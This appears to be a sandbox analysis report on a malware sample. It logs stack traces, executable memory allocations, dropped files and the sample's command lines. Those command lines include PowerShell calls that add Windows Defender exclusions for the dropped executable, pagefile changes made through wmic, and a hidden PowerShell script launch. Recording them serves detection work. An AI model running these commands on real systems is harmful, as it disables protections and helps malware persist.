__exception__ Aug. 18, 2023, 7:34 a.m.	stacktrace: RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x754c374b DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x75c6f725 NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x754d414b ObjectStublessClient25+0x65c CoImpersonateClient-0xbc ole32+0xfe14 @ 0x75b3fe14 StgGetIFillLockBytesOnFile+0x16ab5 WdtpInterfacePointer_UserSize-0xe21 ole32+0x13a338 @ 0x75c6a338 IsValidURL+0x4b8c MkParseDisplayNameEx-0x1c6a4 urlmon+0x4e99f @ 0x7532e99f IntlPercentEncodeNormalize+0x1ff8 CoInternetCombineIUri-0x940 urlmon+0x272ed @ 0x753072ed RegisterBindStatusCallback+0x40d9 CopyBindInfo-0xbe4 urlmon+0x1ab0d @ 0x752fab0d IsValidURL+0x2235 MkParseDisplayNameEx-0x1effb urlmon+0x4c048 @ 0x7532c048 RegisterBindStatusCallback+0x1dc3 CopyBindInfo-0x2efa urlmon+0x187f7 @ 0x752f87f7 RegisterBindStatusCallback+0x1ef2 CopyBindInfo-0x2dcb urlmon+0x18926 @ 0x752f8926 RevokeBindStatusCallback+0x13ad CreateURLMoniker-0x4b1 urlmon+0x1d55e @ 0x752fd55e IsValidURL+0x2638 MkParseDisplayNameEx-0x1ebf8 urlmon+0x4c44b @ 0x7532c44b RevokeBindStatusCallback+0x1045 CreateURLMoniker-0x819 urlmon+0x1d1f6 @ 0x752fd1f6 RevokeBindStatusCallback+0xffb CreateURLMoniker-0x863 urlmon+0x1d1ac @ 0x752fd1ac RevokeBindStatusCallback+0x125a CreateURLMoniker-0x604 urlmon+0x1d40b @ 0x752fd40b RegisterBindStatusCallback+0x2ee7 CopyBindInfo-0x1dd6 urlmon+0x1991b @ 0x752f991b RegisterBindStatusCallback+0x2333 CopyBindInfo-0x298a urlmon+0x18d67 @ 0x752f8d67 RegisterBindStatusCallback+0x36a4 CopyBindInfo-0x1619 urlmon+0x1a0d8 @ 0x752fa0d8 RegisterBindStatusCallback+0x3151 CopyBindInfo-0x1b6c urlmon+0x19b85 @ 0x752f9b85 RegisterBindStatusCallback+0x3074 CopyBindInfo-0x1c49 urlmon+0x19aa8 @ 0x752f9aa8 DllRegisterServer+0x14b2 msxml3+0x46f4f @ 0x6fcd6f4f DllRegisterServer+0x13a3 msxml3+0x46e40 @ 0x6fcd6e40 DllGetClassObject+0x3536b DllCanUnloadNow-0x1017 msxml3+0x427a4 @ 0x6fcd27a4 DllGetClassObject+0x35219 DllCanUnloadNow-0x1169 msxml3+0x42652 @ 0x6fcd2652 DllGetClassObject+0x35104 DllCanUnloadNow-0x127e msxml3+0x4253d @ 0x6fcd253d DllGetClassObject+0x34fd8 DllCanUnloadNow-0x13aa msxml3+0x42411 @ 0x6fcd2411 DllGetClassObject+0x35172 DllCanUnloadNow-0x1210 msxml3+0x425ab @ 0x6fcd25ab wmic+0x39c80 @ 0xb79c80 wmic+0x3b06a @ 0xb7b06a wmic+0x3b1f8 @ 0xb7b1f8 wmic+0x36fcd @ 0xb76fcd wmic+0x3d6e9 @ 0xb7d6e9 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 1238992 registers.edi: 1974991376 registers.eax: 1238992 registers.ebp: 1239072 registers.edx: 1 registers.ebx: 2879692 registers.esi: 2147746133 registers.ecx: 2693470991	1
__exception__ Aug. 18, 2023, 7:34 a.m.	stacktrace: RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x754c374b CoReleaseServerProcess+0x73 OleSaveToStream-0xad ole32+0x64387 @ 0x75b94387 NdrpMemoryIncrement+0x3d1 NdrComplexStructMarshall-0x2f rpcrt4+0x1ef51 @ 0x754bef51 NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x754b6a9c NdrPointerMarshall+0xd6 NdrPointerBufferSize-0x10 rpcrt4+0x16b42 @ 0x754b6b42 NdrPointerMarshall+0x30 NdrPointerBufferSize-0xb6 rpcrt4+0x16a9c @ 0x754b6a9c NdrConformantArrayFree+0x8c NdrOleFree-0xa rpcrt4+0x35c3a @ 0x754d5c3a NdrStubCall2+0x31d NdrUnmarshallBasetypeInline-0x23a rpcrt4+0xb06b8 @ 0x755506b8 WdtpInterfacePointer_UserUnmarshal+0x256f DllDebugObjectRPCHook-0x1e89 ole32+0x13d7e6 @ 0x75c6d7e6 WdtpInterfacePointer_UserUnmarshal+0x25ff DllDebugObjectRPCHook-0x1df9 ole32+0x13d876 @ 0x75c6d876 WdtpInterfacePointer_UserUnmarshal+0x2b59 DllDebugObjectRPCHook-0x189f ole32+0x13ddd0 @ 0x75c6ddd0 CoTaskMemFree+0x1b02 DcomChannelSetHResult-0x1c8 ole32+0x58a43 @ 0x75b88a43 CoTaskMemFree+0x19f7 DcomChannelSetHResult-0x2d3 ole32+0x58938 @ 0x75b88938 DcomChannelSetHResult+0x8ff CoGetObject-0x2183 ole32+0x5950a @ 0x75b8950a WdtpInterfacePointer_UserUnmarshal+0x2a56 DllDebugObjectRPCHook-0x19a2 ole32+0x13dccd @ 0x75c6dccd WdtpInterfacePointer_UserUnmarshal+0x28ca DllDebugObjectRPCHook-0x1b2e ole32+0x13db41 @ 0x75c6db41 WdtpInterfacePointer_UserUnmarshal+0x2f86 DllDebugObjectRPCHook-0x1472 ole32+0x13e1fd @ 0x75c6e1fd DcomChannelSetHResult+0x75c CoGetObject-0x2326 ole32+0x59367 @ 0x75b89367 DcomChannelSetHResult+0x71b CoGetObject-0x2367 ole32+0x59326 @ 0x75b89326 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755f62fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x755f6d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x755f77c4 DispatchMessageW+0xf GetMessageW-0x58 user32+0x1788a @ 0x755f788a CoWaitForMultipleHandles+0x4311 CoRegisterSurrogateEx-0x2fe ole32+0x1a48b @ 0x75b4a48b CoWaitForMultipleHandles+0x23c1 CoRegisterSurrogateEx-0x224e ole32+0x1853b @ 0x75b4853b CoWaitForMultipleHandles+0x4332 CoRegisterSurrogateEx-0x2dd ole32+0x1a4ac @ 0x75b4a4ac CoGetTreatAsClass+0x2619 CoRegisterChannelHook-0x1269 ole32+0x2cd48 @ 0x75b5cd48 CoGetTreatAsClass+0x314b CoRegisterChannelHook-0x737 ole32+0x2d87a @ 0x75b5d87a BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 32109264 registers.edi: 2158436 registers.eax: 32109264 registers.ebp: 32109344 registers.edx: 49 registers.ebx: 32109628 registers.esi: 2147746133 registers.ecx: 1927368	1
__exception__ Aug. 18, 2023, 7:34 a.m.	stacktrace: RpcRaiseException+0x42 I_RpcExceptionFilter-0x12 rpcrt4+0x2374b @ 0x754c374b DllDebugObjectRPCHook+0xb6 HACCEL_UserFree-0x57 ole32+0x13f725 @ 0x75c6f725 NdrPointerFree+0x16a IUnknown_Release_Proxy-0x5a rpcrt4+0x3414b @ 0x754d414b ObjectStublessClient25+0x65c CoImpersonateClient-0xbc ole32+0xfe14 @ 0x75b3fe14 StgGetIFillLockBytesOnFile+0x16ab5 WdtpInterfacePointer_UserSize-0xe21 ole32+0x13a338 @ 0x75c6a338 IsValidURL+0x4b8c MkParseDisplayNameEx-0x1c6a4 urlmon+0x4e99f @ 0x7532e99f IntlPercentEncodeNormalize+0x1ff8 CoInternetCombineIUri-0x940 urlmon+0x272ed @ 0x753072ed RegisterBindStatusCallback+0x40d9 CopyBindInfo-0xbe4 urlmon+0x1ab0d @ 0x752fab0d IsValidURL+0x2235 MkParseDisplayNameEx-0x1effb urlmon+0x4c048 @ 0x7532c048 RegisterBindStatusCallback+0x1dc3 CopyBindInfo-0x2efa urlmon+0x187f7 @ 0x752f87f7 RegisterBindStatusCallback+0x1ef2 CopyBindInfo-0x2dcb urlmon+0x18926 @ 0x752f8926 RevokeBindStatusCallback+0x13ad CreateURLMoniker-0x4b1 urlmon+0x1d55e @ 0x752fd55e IsValidURL+0x2638 MkParseDisplayNameEx-0x1ebf8 urlmon+0x4c44b @ 0x7532c44b RevokeBindStatusCallback+0x1045 CreateURLMoniker-0x819 urlmon+0x1d1f6 @ 0x752fd1f6 RevokeBindStatusCallback+0xffb CreateURLMoniker-0x863 urlmon+0x1d1ac @ 0x752fd1ac RevokeBindStatusCallback+0x125a CreateURLMoniker-0x604 urlmon+0x1d40b @ 0x752fd40b RegisterBindStatusCallback+0x2ee7 CopyBindInfo-0x1dd6 urlmon+0x1991b @ 0x752f991b RegisterBindStatusCallback+0x2333 CopyBindInfo-0x298a urlmon+0x18d67 @ 0x752f8d67 RegisterBindStatusCallback+0x36a4 CopyBindInfo-0x1619 urlmon+0x1a0d8 @ 0x752fa0d8 RegisterBindStatusCallback+0x3151 CopyBindInfo-0x1b6c urlmon+0x19b85 @ 0x752f9b85 RegisterBindStatusCallback+0x3074 CopyBindInfo-0x1c49 urlmon+0x19aa8 @ 0x752f9aa8 DllRegisterServer+0x14b2 msxml3+0x46f4f @ 0x6fcb6f4f DllRegisterServer+0x13a3 msxml3+0x46e40 @ 0x6fcb6e40 DllGetClassObject+0x3536b DllCanUnloadNow-0x1017 msxml3+0x427a4 @ 0x6fcb27a4 DllGetClassObject+0x35219 DllCanUnloadNow-0x1169 msxml3+0x42652 @ 0x6fcb2652 DllGetClassObject+0x35104 DllCanUnloadNow-0x127e msxml3+0x4253d @ 0x6fcb253d DllGetClassObject+0x34fd8 DllCanUnloadNow-0x13aa msxml3+0x42411 @ 0x6fcb2411 DllGetClassObject+0x35172 DllCanUnloadNow-0x1210 msxml3+0x425ab @ 0x6fcb25ab wmic+0x39c80 @ 0x329c80 wmic+0x3b06a @ 0x32b06a wmic+0x3b1f8 @ 0x32b1f8 wmic+0x36fcd @ 0x326fcd wmic+0x3d6e9 @ 0x32d6e9 BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 845152 registers.edi: 1974991376 registers.eax: 845152 registers.ebp: 845232 registers.edx: 1 registers.ebx: 1896708 registers.esi: 2147746133 registers.ecx: 2684663684	1

Allocates read-write-execute memory (usually to unpack itself) (50 out of 581 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 524288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02410000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02450000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0249a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02492000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02451000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02452000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0249b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024c9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028a9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028ad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028ae000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028af000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 18, 2023, 7:33 a.m.	process_identifier: 2436 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04f24000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (5 events)

file	C:\Users\test22\AppData\Local\Temp\Add.ps1
file	C:\Users\test22\AppData\Local\Temp\HSTART.bat
file	C:\Users\test22\AppData\Local\Temp\U&U.exe
file	C:\Users\test22\AppData\Local\Temp\UuU.bat
file	C:\Users\test22\AppData\Local\Temp\vbs.vbs

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (7 events)

cmdline	Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\U&U.exe"'
cmdline	wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=15000,MaximumSize=20000
cmdline	Powershell -Command 'Add-MpPreference -ExclusionPath "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\U&U.exe"'
cmdline	Powershell -Command 'Add-MpPreference -ExclusionPath "C:\Users\test22\AppData\Local\Temp\U&O.exe"'
cmdline	"C:\Windows\system32\cmd.exe"
cmdline	wmic computersystem where name="TEST22-PC" set AutomaticManagedPagefile=False
cmdline	powershell -executionpolicy RemoteSigned -WindowStyle Hidden -file Add.ps1

Drops a binary and executes it (3 events)

file	C:\Users\test22\AppData\Local\Temp\HSTART.bat
file	C:\Users\test22\AppData\Local\Temp\vbs.vbs
file	C:\Users\test22\AppData\Local\Temp\U&U.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\U&U.exe

Executes one or more WMI queries (2 events)

